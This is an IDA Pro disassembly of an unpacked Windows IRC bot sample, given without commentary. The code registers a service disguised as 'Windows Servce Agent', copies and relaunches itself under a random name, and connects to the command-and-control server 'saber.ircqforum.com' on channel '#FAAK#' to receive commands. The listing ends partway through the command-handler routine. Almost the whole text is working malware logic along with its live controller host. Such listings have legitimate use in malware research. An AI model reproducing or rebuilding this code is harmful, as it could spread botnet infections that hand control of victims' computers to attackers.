; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 5992586E7A41CCFC2573E847549C2C2B ; File Name : u:\work\5992586e7a41ccfc2573e847549c2c2b_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServceA ; "Windows Servce Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF28 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAF98 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAED8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF50 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEBC call dword_4CB00C call sub_40B2BF call dword_4CAECC call dword_4CAECC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D128 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 2680AB1h nop lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2680000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 2670B1Dh nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D120 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACB0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACB4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB020 push 7530h push offset aDark ; "Dark" push ebx push ebx nop call near ptr 26A00F7h push eax call near ptr 26A0000h nop cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAEE4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax call near ptr 2680AB1h nop lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2690E9Eh push eax call near ptr 2680000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293C4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293BC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 2690DA5h nop cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2690C70h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C call near ptr 26908FFh nop cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2690000h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2690C70h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D128 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi call near ptr 26908D7h nop push eax push esi push 100000h nop call near ptr 269039Ch lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293B0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax call near ptr 2670B1Dh nop test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2690000h push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAECC push ebx call near ptr 77E75CB5h nop loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB294, 2 jle short loc_401562 mov eax, dword_4DB298 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 26A0000h push esi call near ptr 2670822h nop mov eax, dword_4DB298 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2690000h mov eax, dword_4DB298 push dword ptr [eax+8] nop call near ptr 2690292h loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB044, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429394 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D130 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429370 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_401622 nop call near ptr 26908FFh push eax lea eax, [ebp-0A0h] push offset unk_429330 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429304 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_40169A nop call near ptr 26908FFh push eax lea eax, [ebp-0A0h] push offset dword_4292D0 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACBC mov dword_4CAE28, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD3C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CAD7C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE10, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACB8 mov dword_4CAE24, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE24, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h nop call near ptr 2690000h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACBC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACBC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAECC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAF74 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEC8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CAFF4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEBC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB00C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call near ptr 2690000h nop jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293CC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB00C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE20, bl jz short loc_40199A push offset byte_4CAE20 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB00C push 1388h nop call near ptr 2690000h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAF8C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h call near ptr 2690000h nop jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h 